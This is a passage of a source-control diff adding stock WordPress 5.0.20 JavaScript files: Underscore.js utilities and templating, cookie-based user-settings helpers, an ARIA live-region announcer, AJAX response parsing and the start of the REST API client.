+  _.isEqual = function(a, b) {
+    return eq(a, b);
+  };
+
+  // Is a given array, string, or object empty?
+  // An "empty" object has no enumerable own-properties.
+  _.isEmpty = function(obj) {
+    if (obj == null) return true;
+    if (isArrayLike(obj) && (_.isArray(obj) || _.isString(obj) || _.isArguments(obj))) return obj.length === 0;
+    return _.keys(obj).length === 0;
+  };
+
+  // Is a given value a DOM element?
+  _.isElement = function(obj) {
+    return !!(obj && obj.nodeType === 1);
+  };
+
+  // Is a given value an array?
+  // Delegates to ECMA5's native Array.isArray
+  _.isArray = nativeIsArray || function(obj) {
+    return toString.call(obj) === '[object Array]';
+  };
+
+  // Is a given variable an object?
+  _.isObject = function(obj) {
+    var type = typeof obj;
+    return type === 'function' || type === 'object' && !!obj;
+  };
+
+  // Add some isType methods: isArguments, isFunction, isString, isNumber, isDate, isRegExp, isError.
+  _.each(['Arguments', 'Function', 'String', 'Number', 'Date', 'RegExp', 'Error'], function(name) {
+    _['is' + name] = function(obj) {
+      return toString.call(obj) === '[object ' + name + ']';
+    };
+  });
+
+  // Define a fallback version of the method in browsers (ahem, IE < 9), where
+  // there isn't any inspectable "Arguments" type.
+  if (!_.isArguments(arguments)) {
+    _.isArguments = function(obj) {
+      return _.has(obj, 'callee');
+    };
+  }
+
+  // Optimize `isFunction` if appropriate. Work around some typeof bugs in old v8,
+  // IE 11 (#1621), and in Safari 8 (#1929).
+  if (typeof /./ != 'function' && typeof Int8Array != 'object') {
+    _.isFunction = function(obj) {
+      return typeof obj == 'function' || false;
+    };
+  }
+
+  // Is a given object a finite number?
+  _.isFinite = function(obj) {
+    return isFinite(obj) && !isNaN(parseFloat(obj));
+  };
+
+  // Is the given value `NaN`? (NaN is the only number which does not equal itself).
+  _.isNaN = function(obj) {
+    return _.isNumber(obj) && obj !== +obj;
+  };
+
+  // Is a given value a boolean?
+  _.isBoolean = function(obj) {
+    return obj === true || obj === false || toString.call(obj) === '[object Boolean]';
+  };
+
+  // Is a given value equal to null?
+  _.isNull = function(obj) {
+    return obj === null;
+  };
+
+  // Is a given variable undefined?
+  _.isUndefined = function(obj) {
+    return obj === void 0;
+  };
+
+  // Shortcut function for checking if an object has a given property directly
+  // on itself (in other words, not on a prototype).
+  _.has = function(obj, key) {
+    return obj != null && hasOwnProperty.call(obj, key);
+  };
+
+  // Utility Functions
+  // -----------------
+
+  // Run Underscore.js in *noConflict* mode, returning the `_` variable to its
+  // previous owner. Returns a reference to the Underscore object.
+  _.noConflict = function() {
+    root._ = previousUnderscore;
+    return this;
+  };
+
+  // Keep the identity function around for default iteratees.
+  _.identity = function(value) {
+    return value;
+  };
+
+  // Predicate-generating functions. Often useful outside of Underscore.
+  _.constant = function(value) {
+    return function() {
+      return value;
+    };
+  };
+
+  _.noop = function(){};
+
+  _.property = property;
+
+  // Generates a function for a given object that returns a given property.
+  _.propertyOf = function(obj) {
+    return obj == null ? function(){} : function(key) {
+      return obj[key];
+    };
+  };
+
+  // Returns a predicate for checking whether an object has a given set of
+  // `key:value` pairs.
+  _.matcher = _.matches = function(attrs) {
+    attrs = _.extendOwn({}, attrs);
+    return function(obj) {
+      return _.isMatch(obj, attrs);
+    };
+  };
+
+  // Run a function **n** times.
+  _.times = function(n, iteratee, context) {
+    var accum = Array(Math.max(0, n));
+    iteratee = optimizeCb(iteratee, context, 1);
+    for (var i = 0; i < n; i++) accum[i] = iteratee(i);
+    return accum;
+  };
+
+  // Return a random integer between min and max (inclusive).
+  _.random = function(min, max) {
+    if (max == null) {
+      max = min;
+      min = 0;
+    }
+    return min + Math.floor(Math.random() * (max - min + 1));
+  };
+
+  // A (possibly faster) way to get the current timestamp as an integer.
+  _.now = Date.now || function() {
+    return new Date().getTime();
+  };
+
+   // List of HTML entities for escaping.
+  var escapeMap = {
+    '&': '&amp;',
+    '<': '&lt;',
+    '>': '&gt;',
+    '"': '&quot;',
+    "'": '&#x27;',
+    '`': '&#x60;'
+  };
+  var unescapeMap = _.invert(escapeMap);
+
+  // Functions for escaping and unescaping strings to/from HTML interpolation.
+  var createEscaper = function(map) {
+    var escaper = function(match) {
+      return map[match];
+    };
+    // Regexes for identifying a key that needs to be escaped
+    var source = '(?:' + _.keys(map).join('|') + ')';
+    var testRegexp = RegExp(source);
+    var replaceRegexp = RegExp(source, 'g');
+    return function(string) {
+      string = string == null ? '' : '' + string;
+      return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
+    };
+  };
+  _.escape = createEscaper(escapeMap);
+  _.unescape = createEscaper(unescapeMap);
+
+  // If the value of the named `property` is a function then invoke it with the
+  // `object` as context; otherwise, return it.
+  _.result = function(object, property, fallback) {
+    var value = object == null ? void 0 : object[property];
+    if (value === void 0) {
+      value = fallback;
+    }
+    return _.isFunction(value) ? value.call(object) : value;
+  };
+
+  // Generate a unique integer id (unique within the entire client session).
+  // Useful for temporary DOM ids.
+  var idCounter = 0;
+  _.uniqueId = function(prefix) {
+    var id = ++idCounter + '';
+    return prefix ? prefix + id : id;
+  };
+
+  // By default, Underscore uses ERB-style template delimiters, change the
+  // following template settings to use alternative delimiters.
+  _.templateSettings = {
+    evaluate    : /<%([\s\S]+?)%>/g,
+    interpolate : /<%=([\s\S]+?)%>/g,
+    escape      : /<%-([\s\S]+?)%>/g
+  };
+
+  // When customizing `templateSettings`, if you don't want to define an
+  // interpolation, evaluation or escaping regex, we need one that is
+  // guaranteed not to match.
+  var noMatch = /(.)^/;
+
+  // Certain characters need to be escaped so that they can be put into a
+  // string literal.
+  var escapes = {
+    "'":      "'",
+    '\\':     '\\',
+    '\r':     'r',
+    '\n':     'n',
+    '\u2028': 'u2028',
+    '\u2029': 'u2029'
+  };
+
+  var escaper = /\\|'|\r|\n|\u2028|\u2029/g;
+
+  var escapeChar = function(match) {
+    return '\\' + escapes[match];
+  };
+
+  // JavaScript micro-templating, similar to John Resig's implementation.
+  // Underscore templating handles arbitrary delimiters, preserves whitespace,
+  // and correctly escapes quotes within interpolated code.
+  // NB: `oldSettings` only exists for backwards compatibility.
+  _.template = function(text, settings, oldSettings) {
+    if (!settings && oldSettings) settings = oldSettings;
+    settings = _.defaults({}, settings, _.templateSettings);
+
+    // Combine delimiters into one regular expression via alternation.
+    var matcher = RegExp([
+      (settings.escape || noMatch).source,
+      (settings.interpolate || noMatch).source,
+      (settings.evaluate || noMatch).source
+    ].join('|') + '|$', 'g');
+
+    // Compile the template source, escaping string literals appropriately.
+    var index = 0;
+    var source = "__p+='";
+    text.replace(matcher, function(match, escape, interpolate, evaluate, offset) {
+      source += text.slice(index, offset).replace(escaper, escapeChar);
+      index = offset + match.length;
+
+      if (escape) {
+        source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'";
+      } else if (interpolate) {
+        source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'";
+      } else if (evaluate) {
+        source += "';\n" + evaluate + "\n__p+='";
+      }
+
+      // Adobe VMs need the match returned to produce the correct offest.
+      return match;
+    });
+    source += "';\n";
+
+    // If a variable is not specified, place data values in local scope.
+    if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n';
+
+    source = "var __t,__p='',__j=Array.prototype.join," +
+      "print=function(){__p+=__j.call(arguments,'');};\n" +
+      source + 'return __p;\n';
+
+    try {
+      var render = new Function(settings.variable || 'obj', '_', source);
+    } catch (e) {
+      e.source = source;
+      throw e;
+    }
+
+    var template = function(data) {
+      return render.call(this, data, _);
+    };
+
+    // Provide the compiled source as a convenience for precompilation.
+    var argument = settings.variable || 'obj';
+    template.source = 'function(' + argument + '){\n' + source + '}';
+
+    return template;
+  };
+
+  // Add a "chain" function. Start chaining a wrapped Underscore object.
+  _.chain = function(obj) {
+    var instance = _(obj);
+    instance._chain = true;
+    return instance;
+  };
+
+  // OOP
+  // ---------------
+  // If Underscore is called as a function, it returns a wrapped object that
+  // can be used OO-style. This wrapper holds altered versions of all the
+  // underscore functions. Wrapped objects may be chained.
+
+  // Helper function to continue chaining intermediate results.
+  var result = function(instance, obj) {
+    return instance._chain ? _(obj).chain() : obj;
+  };
+
+  // Add your own custom functions to the Underscore object.
+  _.mixin = function(obj) {
+    _.each(_.functions(obj), function(name) {
+      var func = _[name] = obj[name];
+      _.prototype[name] = function() {
+        var args = [this._wrapped];
+        push.apply(args, arguments);
+        return result(this, func.apply(_, args));
+      };
+    });
+  };
+
+  // Add all of the Underscore functions to the wrapper object.
+  _.mixin(_);
+
+  // Add all mutator Array functions to the wrapper.
+  _.each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
+    var method = ArrayProto[name];
+    _.prototype[name] = function() {
+      var obj = this._wrapped;
+      method.apply(obj, arguments);
+      if ((name === 'shift' || name === 'splice') && obj.length === 0) delete obj[0];
+      return result(this, obj);
+    };
+  });
+
+  // Add all accessor Array functions to the wrapper.
+  _.each(['concat', 'join', 'slice'], function(name) {
+    var method = ArrayProto[name];
+    _.prototype[name] = function() {
+      return result(this, method.apply(this._wrapped, arguments));
+    };
+  });
+
+  // Extracts the result from a wrapped and chained object.
+  _.prototype.value = function() {
+    return this._wrapped;
+  };
+
+  // Provide unwrapping proxy for some methods used in engine operations
+  // such as arithmetic and JSON stringification.
+  _.prototype.valueOf = _.prototype.toJSON = _.prototype.value;
+
+  _.prototype.toString = function() {
+    return '' + this._wrapped;
+  };
+
+  // AMD registration happens at the end for compatibility with AMD loaders
+  // that may not enforce next-turn semantics on modules. Even though general
+  // practice for AMD registration is to be anonymous, underscore registers
+  // as a named module because, like jQuery, it is a base library that is
+  // popular enough to be bundled in a third party lib, but not be part of
+  // an AMD load request. Those cases could generate an error when an
+  // anonymous define() is called outside of a loader request.
+  if (typeof define === 'function' && define.amd) {
+    define('underscore', [], function() {
+      return _;
+    });
+  }
+}.call(this));
Index: /tags/5.0.20/src/wp-includes/js/underscore.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/underscore.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/underscore.min.js	(revision 56912)
@@ -0,0 +1,5 @@
+//     Underscore.js 1.8.3
+//     http://underscorejs.org
+//     (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
+//     Underscore may be freely distributed under the MIT license.
+(function(){function n(n){function t(t,r,e,u,i,o){for(;i>=0&&o>i;i+=n){var a=u?u[i]:i;e=r(e,t[a],a,t)}return e}return function(r,e,u,i){e=b(e,i,4);var o=!k(r)&&m.keys(r),a=(o||r).length,c=n>0?0:a-1;return arguments.length<3&&(u=r[o?o[c]:c],c+=n),t(r,e,u,o,c,a)}}function t(n){return function(t,r,e){r=x(r,e);for(var u=O(t),i=n>0?0:u-1;i>=0&&u>i;i+=n)if(r(t[i],i,t))return i;return-1}}function r(n,t,r){return function(e,u,i){var o=0,a=O(e);if("number"==typeof i)n>0?o=i>=0?i:Math.max(i+a,o):a=i>=0?Math.min(i+1,a):i+a+1;else if(r&&i&&a)return i=r(e,u),e[i]===u?i:-1;if(u!==u)return i=t(l.call(e,o,a),m.isNaN),i>=0?i+o:-1;for(i=n>0?o:a-1;i>=0&&a>i;i+=n)if(e[i]===u)return i;return-1}}function e(n,t){var r=I.length,e=n.constructor,u=m.isFunction(e)&&e.prototype||a,i="constructor";for(m.has(n,i)&&!m.contains(t,i)&&t.push(i);r--;)i=I[r],i in n&&n[i]!==u[i]&&!m.contains(t,i)&&t.push(i)}var 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Index: /tags/5.0.20/src/wp-includes/js/utils.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/utils.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/utils.js	(revision 56912)
@@ -0,0 +1,198 @@
+/* global userSettings */
+/* exported getUserSetting, setUserSetting, deleteUserSetting */
+// utility functions
+
+var wpCookies = {
+// The following functions are from Cookie.js class in TinyMCE 3, Moxiecode, used under LGPL.
+
+	each: function( obj, cb, scope ) {
+		var n, l;
+
+		if ( ! obj ) {
+			return 0;
+		}
+
+		scope = scope || obj;
+
+		if ( typeof( obj.length ) !== 'undefined' ) {
+			for ( n = 0, l = obj.length; n < l; n++ ) {
+				if ( cb.call( scope, obj[n], n, obj ) === false ) {
+					return 0;
+				}
+			}
+		} else {
+			for ( n in obj ) {
+				if ( obj.hasOwnProperty(n) ) {
+					if ( cb.call( scope, obj[n], n, obj ) === false ) {
+						return 0;
+					}
+				}
+			}
+		}
+		return 1;
+	},
+
+	/**
+	 * Get a multi-values cookie.
+	 * Returns a JS object with the name: 'value' pairs.
+	 */
+	getHash: function( name ) {
+		var cookie = this.get( name ), values;
+
+		if ( cookie ) {
+			this.each( cookie.split('&'), function( pair ) {
+				pair = pair.split('=');
+				values = values || {};
+				values[pair[0]] = pair[1];
+			});
+		}
+
+		return values;
+	},
+
+	/**
+	 * Set a multi-values cookie.
+	 *
+	 * 'values_obj' is the JS object that is stored. It is encoded as URI in wpCookies.set().
+	 */
+	setHash: function( name, values_obj, expires, path, domain, secure ) {
+		var str = '';
+
+		this.each( values_obj, function( val, key ) {
+			str += ( ! str ? '' : '&' ) + key + '=' + val;
+		});
+
+		this.set( name, str, expires, path, domain, secure );
+	},
+
+	/**
+	 * Get a cookie.
+	 */
+	get: function( name ) {
+		var e, b,
+			cookie = document.cookie,
+			p = name + '=';
+
+		if ( ! cookie ) {
+			return;
+		}
+
+		b = cookie.indexOf( '; ' + p );
+
+		if ( b === -1 ) {
+			b = cookie.indexOf(p);
+
+			if ( b !== 0 ) {
+				return null;
+			}
+		} else {
+			b += 2;
+		}
+
+		e = cookie.indexOf( ';', b );
+
+		if ( e === -1 ) {
+			e = cookie.length;
+		}
+
+		return decodeURIComponent( cookie.substring( b + p.length, e ) );
+	},
+
+	/**
+	 * Set a cookie.
+	 *
+	 * The 'expires' arg can be either a JS Date() object set to the expiration date (back-compat)
+	 * or the number of seconds until expiration
+	 */
+	set: function( name, value, expires, path, domain, secure ) {
+		var d = new Date();
+
+		if ( typeof( expires ) === 'object' && expires.toGMTString ) {
+			expires = expires.toGMTString();
+		} else if ( parseInt( expires, 10 ) ) {
+			d.setTime( d.getTime() + ( parseInt( expires, 10 ) * 1000 ) ); // time must be in milliseconds
+			expires = d.toGMTString();
+		} else {
+			expires = '';
+		}
+
+		document.cookie = name + '=' + encodeURIComponent( value ) +
+			( expires ? '; expires=' + expires : '' ) +
+			( path    ? '; path=' + path       : '' ) +
+			( domain  ? '; domain=' + domain   : '' ) +
+			( secure  ? '; secure'             : '' );
+	},
+
+	/**
+	 * Remove a cookie.
+	 *
+	 * This is done by setting it to an empty value and setting the expiration time in the past.
+	 */
+	remove: function( name, path, domain, secure ) {
+		this.set( name, '', -1000, path, domain, secure );
+	}
+};
+
+// Returns the value as string. Second arg or empty string is returned when value is not set.
+function getUserSetting( name, def ) {
+	var settings = getAllUserSettings();
+
+	if ( settings.hasOwnProperty( name ) ) {
+		return settings[name];
+	}
+
+	if ( typeof def !== 'undefined' ) {
+		return def;
+	}
+
+	return '';
+}
+
+// Both name and value must be only ASCII letters, numbers or underscore
+// and the shorter, the better (cookies can store maximum 4KB). Not suitable to store text.
+// The value is converted and stored as string.
+function setUserSetting( name, value, _del ) {
+	if ( 'object' !== typeof userSettings ) {
+		return false;
+	}
+
+	var uid = userSettings.uid,
+		settings = wpCookies.getHash( 'wp-settings-' + uid ),
+		path = userSettings.url,
+		secure = !! userSettings.secure;
+
+	name = name.toString().replace( /[^A-Za-z0-9_-]/g, '' );
+
+	if ( typeof value === 'number' ) {
+		value = parseInt( value, 10 );
+	} else {
+		value = value.toString().replace( /[^A-Za-z0-9_-]/g, '' );
+	}
+
+	settings = settings || {};
+
+	if ( _del ) {
+		delete settings[name];
+	} else {
+		settings[name] = value;
+	}
+
+	wpCookies.setHash( 'wp-settings-' + uid, settings, 31536000, path, '', secure );
+	wpCookies.set( 'wp-settings-time-' + uid, userSettings.time, 31536000, path, '', secure );
+
+	return name;
+}
+
+function deleteUserSetting( name ) {
+	return setUserSetting( name, '', 1 );
+}
+
+// Returns all settings as js object.
+function getAllUserSettings() {
+	if ( 'object' !== typeof userSettings ) {
+		return {};
+	}
+
+	return wpCookies.getHash( 'wp-settings-' + userSettings.uid ) || {};
+}
+
Index: /tags/5.0.20/src/wp-includes/js/wp-a11y.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-a11y.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-a11y.js	(revision 56912)
@@ -0,0 +1,103 @@
+/** @namespace wp */
+window.wp = window.wp || {};
+
+( function ( wp, $ ) {
+	'use strict';
+
+	var $containerPolite,
+		$containerAssertive,
+		previousMessage = '';
+
+	/**
+	 * Update the ARIA live notification area text node.
+	 *
+	 * @since 4.2.0
+	 * @since 4.3.0 Introduced the 'ariaLive' argument.
+	 *
+	 * @param {String} message    The message to be announced by Assistive Technologies.
+	 * @param {String} [ariaLive] The politeness level for aria-live. Possible values:
+	 *                            polite or assertive. Default polite.
+	 * @returns {void}
+	 */
+	function speak( message, ariaLive ) {
+		// Clear previous messages to allow repeated strings being read out.
+		clear();
+
+		// Ensure only text is sent to screen readers.
+		message = $( '<p>' ).html( message ).text();
+
+		/*
+		 * Safari 10+VoiceOver don't announce repeated, identical strings. We use
+		 * a `no-break space` to force them to think identical strings are different.
+		 * See ticket #36853.
+		 */
+		if ( previousMessage === message ) {
+			message = message + '\u00A0';
+		}
+
+		previousMessage = message;
+
+		if ( $containerAssertive && 'assertive' === ariaLive ) {
+			$containerAssertive.text( message );
+		} else if ( $containerPolite ) {
+			$containerPolite.text( message );
+		}
+	}
+
+	/**
+	 * Build the live regions markup.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param {String} ariaLive Optional. Value for the 'aria-live' attribute, default 'polite'.
+	 *
+	 * @return {Object} $container The ARIA live region jQuery object.
+	 */
+	function addContainer( ariaLive ) {
+		ariaLive = ariaLive || 'polite';
+
+		var $container = $( '<div>', {
+			'id': 'wp-a11y-speak-' + ariaLive,
+			'aria-live': ariaLive,
+			'aria-relevant': 'additions text',
+			'aria-atomic': 'true',
+			'class': 'screen-reader-text wp-a11y-speak-region'
+		});
+
+		$( document.body ).append( $container );
+		return $container;
+	}
+
+	/**
+	 * Clear the live regions.
+	 *
+	 * @since 4.3.0
+	 */
+	function clear() {
+		$( '.wp-a11y-speak-region' ).text( '' );
+	}
+
+	/**
+	 * Initialize wp.a11y and define ARIA live notification area.
+	 *
+	 * @since 4.2.0
+	 * @since 4.3.0 Added the assertive live region.
+	 */
+	$( document ).ready( function() {
+		$containerPolite = $( '#wp-a11y-speak-polite' );
+		$containerAssertive = $( '#wp-a11y-speak-assertive' );
+
+		if ( ! $containerPolite.length ) {
+			$containerPolite = addContainer( 'polite' );
+		}
+
+		if ( ! $containerAssertive.length ) {
+			$containerAssertive = addContainer( 'assertive' );
+		}
+	});
+
+	/** @namespace wp.a11y */
+	wp.a11y = wp.a11y || {};
+	wp.a11y.speak = speak;
+
+}( window.wp, window.jQuery ));
Index: /tags/5.0.20/src/wp-includes/js/wp-ajax-response.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-ajax-response.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-ajax-response.js	(revision 56912)
@@ -0,0 +1,64 @@
+var wpAjax = jQuery.extend( {
+	unserialize: function( s ) {
+		var r = {}, q, pp, i, p;
+		if ( !s ) { return r; }
+		q = s.split('?'); if ( q[1] ) { s = q[1]; }
+		pp = s.split('&');
+		for ( i in pp ) {
+			if ( jQuery.isFunction(pp.hasOwnProperty) && !pp.hasOwnProperty(i) ) { continue; }
+			p = pp[i].split('=');
+			r[p[0]] = p[1];
+		}
+		return r;
+	},
+	parseAjaxResponse: function( x, r, e ) { // 1 = good, 0 = strange (bad data?), -1 = you lack permission
+		var parsed = {}, re = jQuery('#' + r).empty(), err = '';
+
+		if ( x && typeof x == 'object' && x.getElementsByTagName('wp_ajax') ) {
+			parsed.responses = [];
+			parsed.errors = false;
+			jQuery('response', x).each( function() {
+				var th = jQuery(this), child = jQuery(this.firstChild), response;
+				response = { action: th.attr('action'), what: child.get(0).nodeName, id: child.attr('id'), oldId: child.attr('old_id'), position: child.attr('position') };
+				response.data = jQuery( 'response_data', child ).text();
+				response.supplemental = {};
+				if ( !jQuery( 'supplemental', child ).children().each( function() {
+					response.supplemental[this.nodeName] = jQuery(this).text();
+				} ).length ) { response.supplemental = false; }
+				response.errors = [];
+				if ( !jQuery('wp_error', child).each( function() {
+					var code = jQuery(this).attr('code'), anError, errorData, formField;
+					anError = { code: code, message: this.firstChild.nodeValue, data: false };
+					errorData = jQuery('wp_error_data[code="' + code + '"]', x);
+					if ( errorData ) { anError.data = errorData.get(); }
+					formField = jQuery( 'form-field', errorData ).text();
+					if ( formField ) { code = formField; }
+					if ( e ) { wpAjax.invalidateForm( jQuery('#' + e + ' :input[name="' + code + '"]' ).parents('.form-field:first') ); }
+					err += '<p>' + anError.message + '</p>';
+					response.errors.push( anError );
+					parsed.errors = true;
+				} ).length ) { response.errors = false; }
+				parsed.responses.push( response );
+			} );
+			if ( err.length ) { re.html( '<div class="error">' + err + '</div>' ); }
+			return parsed;
+		}
+		if ( isNaN(x) ) { return !re.html('<div class="error"><p>' + x + '</p></div>'); }
+		x = parseInt(x,10);
+		if ( -1 == x ) { return !re.html('<div class="error"><p>' + wpAjax.noPerm + '</p></div>'); }
+		else if ( 0 === x ) { return !re.html('<div class="error"><p>' + wpAjax.broken  + '</p></div>'); }
+		return true;
+	},
+	invalidateForm: function ( selector ) {
+		return jQuery( selector ).addClass( 'form-invalid' ).find('input').one( 'change wp-check-valid-field', function() { jQuery(this).closest('.form-invalid').removeClass( 'form-invalid' ); } );
+	},
+	validateForm: function( selector ) {
+		selector = jQuery( selector );
+		return !wpAjax.invalidateForm( selector.find('.form-required').filter( function() { return jQuery('input:visible', this).val() === ''; } ) ).length;
+	}
+}, wpAjax || { noPerm: 'Sorry, you are not allowed to do that.', broken: 'Something went wrong.' } );
+
+// Basic form validation
+jQuery(document).ready( function($){
+	$('form.validate').submit( function() { return wpAjax.validateForm( $(this) ); } );
+});
Index: /tags/5.0.20/src/wp-includes/js/wp-api.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-api.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-api.js	(revision 56912)
@@ -0,0 +1,1541 @@
+(function( window, undefined ) {
+
+	'use strict';
+
+	/**
+	 * Initialise the WP_API.
+	 */
+	function WP_API() {
+		/** @namespace wp.api.models */
+		this.models = {};
+		/** @namespace wp.api.collections */
+		this.collections = {};
+		/** @namespace wp.api.views */
+		this.views = {};
+	}
+
+	/** @namespace wp */
+	window.wp            = window.wp || {};
+	/** @namespace wp.api */
+	wp.api               = wp.api || new WP_API();
+	wp.api.versionString = wp.api.versionString || 'wp/v2/';
+
+	// Alias _includes to _.contains, ensuring it is available if lodash is used.
+	if ( ! _.isFunction( _.includes ) && _.isFunction( _.contains ) ) {
+	  _.includes = _.contains;
+	}
+
+})( window );
+
+(function( window, undefined ) {
+
+	'use strict';
+
+	var pad, r;
+
+	/** @namespace wp */
+	window.wp = window.wp || {};
+	/** @namespace wp.api */
+	wp.api = wp.api || {};
+	/** @namespace wp.api.utils */
+	wp.api.utils = wp.api.utils || {};
+
+	/**
+	 * Determine model based on API route.
+	 *
+	 * @param {string} route    The API route.
+	 *
+	 * @return {Backbone Model} The model found at given route. Undefined if not found.
+	 */
+	wp.api.getModelByRoute = function( route ) {
+		return _.find( wp.api.models, function( model ) {
+			return model.prototype.route && route === model.prototype.route.index;
+		} );
+	};
+
+	/**
+	 * Determine collection based on API route.
+	 *
+	 * @param {string} route    The API route.
+	 *
+	 * @return {Backbone Model} The collection found at given route. Undefined if not found.
+	 */
+	wp.api.getCollectionByRoute = function( route ) {
+		return _.find( wp.api.collections, function( collection ) {
+			return collection.prototype.route && route === collection.prototype.route.index;
+		} );
+	};
+
+
+	/**
+	 * ECMAScript 5 shim, adapted from MDN.
+	 * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString
+	 */
+	if ( ! Date.prototype.toISOString ) {
+		pad = function( number ) {
+			r = String( number );
+			if ( 1 === r.length ) {
+				r = '0' + r;
+			}
+
+			return r;
+		};
+
+		Date.prototype.toISOString = function() {
+			return this.getUTCFullYear() +
+				'-' + pad( this.getUTCMonth() + 1 ) +
+				'-' + pad( this.getUTCDate() ) +
+				'T' + pad( this.getUTCHours() ) +
+				':' + pad( this.getUTCMinutes() ) +
+				':' + pad( this.getUTCSeconds() ) +
+				'.' + String( ( this.getUTCMilliseconds() / 1000 ).toFixed( 3 ) ).slice( 2, 5 ) +
+				'Z';
+		};
+	}
+
+	/**
+	 * Parse date into ISO8601 format.
+	 *
+	 * @param {Date} date.
+	 */
+	wp.api.utils.parseISO8601 = function( date ) {
+		var timestamp, struct, i, k,
+			minutesOffset = 0,
+			numericKeys = [ 1, 4, 5, 6, 7, 10, 11 ];
+
+		// ES5 §15.9.4.2 states that the string should attempt to be parsed as a Date Time String Format string
+		// before falling back to any implementation-specific date parsing, so that’s what we do, even if native
+		// implementations could be faster.
+		//              1 YYYY                2 MM       3 DD           4 HH    5 mm       6 ss        7 msec        8 Z 9 ±    10 tzHH    11 tzmm
+		if ( ( struct = /^(\d{4}|[+\-]\d{6})(?:-(\d{2})(?:-(\d{2}))?)?(?:T(\d{2}):(\d{2})(?::(\d{2})(?:\.(\d{3}))?)?(?:(Z)|([+\-])(\d{2})(?::(\d{2}))?)?)?$/.exec( date ) ) ) {
+
+			// Avoid NaN timestamps caused by “undefined” values being passed to Date.UTC.
+			for ( i = 0; ( k = numericKeys[i] ); ++i ) {
+				struct[k] = +struct[k] || 0;
+			}
+
+			// Allow undefined days and months.
+			struct[2] = ( +struct[2] || 1 ) - 1;
+			struct[3] = +struct[3] || 1;
+
+			if ( 'Z' !== struct[8]  && undefined !== struct[9] ) {
+				minutesOffset = struct[10] * 60 + struct[11];
+
+				if ( '+' === struct[9] ) {
+					minutesOffset = 0 - minutesOffset;
+				}
+			}
+
+			timestamp = Date.UTC( struct[1], struct[2], struct[3], struct[4], struct[5] + minutesOffset, struct[6], struct[7] );
+		} else {
+			timestamp = Date.parse ? Date.parse( date ) : NaN;
+		}
+
+		return timestamp;
+	};
+
+	/**
+	 * Helper function for getting the root URL.
+	 * @return {[type]} [description]
+	 */
+	wp.api.utils.getRootUrl = function() {
+		return window.location.origin ?
+			window.location.origin + '/' :
+			window.location.protocol + '//' + window.location.host + '/';
+	};
+
+	/**
+	 * Helper for capitalizing strings.
+	 */
+	wp.api.utils.capitalize = function( str ) {
+		if ( _.isUndefined( str ) ) {
+			return str;
+		}
+		return str.charAt( 0 ).toUpperCase() + str.slice( 1 );
+	};
+
+	/**
+	 * Helper function that capitalizes the first word and camel cases any words starting
+	 * after dashes, removing the dashes.
+	 */
+	wp.api.utils.capitalizeAndCamelCaseDashes = function( str ) {
+		if ( _.isUndefined( str ) ) {
+			return str;
+		}
+		str = wp.api.utils.capitalize( str );
+
+		return wp.api.utils.camelCaseDashes( str );
+	};
+
+	/**
+	 * Helper function to camel case the letter after dashes, removing the dashes.
+	 */
+	wp.api.utils.camelCaseDashes = function( str ) {
+		return str.replace( /-([a-z])/g, function( g ) {
+			return g[ 1 ].toUpperCase();
+		} );
+	};
+
+	/**
+	 * Extract a route part based on negative index.
+	 *
+	 * @param {string}   route          The endpoint route.
+	 * @param {int}      part           The number of parts from the end of the route to retrieve. Default 1.
+	 *                                  Example route `/a/b/c`: part 1 is `c`, part 2 is `b`, part 3 is `a`.
+	 * @param {string}  [versionString] Version string, defaults to `wp.api.versionString`.
+	 * @param {boolean} [reverse]       Whether to reverse the order when extracting the route part. Optional, default false.
+	 */
+	wp.api.utils.extractRoutePart = function( route, part, versionString, reverse ) {
+		var routeParts;
+
+		part = part || 1;
+		versionString = versionString || wp.api.versionString;
+
+		// Remove versions string from route to avoid returning it.
+		if ( 0 === route.indexOf( '/' + versionString ) ) {
+			route = route.substr( versionString.length + 1 );
+		}
+
+		routeParts = route.split( '/' );
+		if ( reverse ) {
+			routeParts = routeParts.reverse();
+		}
+		if ( _.isUndefined( routeParts[ --part ] ) ) {
+			return '';
+		}
+		return routeParts[ part ];
+	};
+
+	/**
+	 * Extract a parent name from a passed route.
+	 *
+	 * @param {string} route The route to extract a name from.
+	 */
+	wp.api.utils.extractParentName = function( route ) {
+		var name,
+			lastSlash = route.lastIndexOf( '_id>[\\d]+)/' );
+
+		if ( lastSlash < 0 ) {
+			return '';
+		}
+		name = route.substr( 0, lastSlash - 1 );
+		name = name.split( '/' );
+		name.pop();
+		name = name.pop();
+		return name;
+	};
+
+	/**
+	 * Add args and options to a model prototype from a route's endpoints.
+	 *
+	 * @param {array}  routeEndpoints Array of route endpoints.
+	 * @param {Object} modelInstance  An instance of the model (or collection)
+	 *                                to add the args to.
+	 */
+	wp.api.utils.decorateFromRoute = function( routeEndpoints, modelInstance ) {
+
+		/**
+		 * Build the args based on route endpoint data.
+		 */
+		_.each( routeEndpoints, function( routeEndpoint ) {
+
+			// Add post and edit endpoints as model args.
+			if ( _.includes( routeEndpoint.methods, 'POST' ) || _.includes( routeEndpoint.methods, 'PUT' ) ) {
+
+				// Add any non empty args, merging them into the args object.
+				if ( ! _.isEmpty( routeEndpoint.args ) ) {
+
+					// Set as default if no args yet.
+					if ( _.isEmpty( modelInstance.prototype.args ) ) {
+						modelInstance.prototype.args = routeEndpoint.args;
+					} else {
+
+						// We already have args, merge these new args in.
+						modelInstance.prototype.args = _.extend( modelInstance.prototype.args, routeEndpoint.args );
+					}
+				}
+			} else {
+
+				// Add GET method as model options.
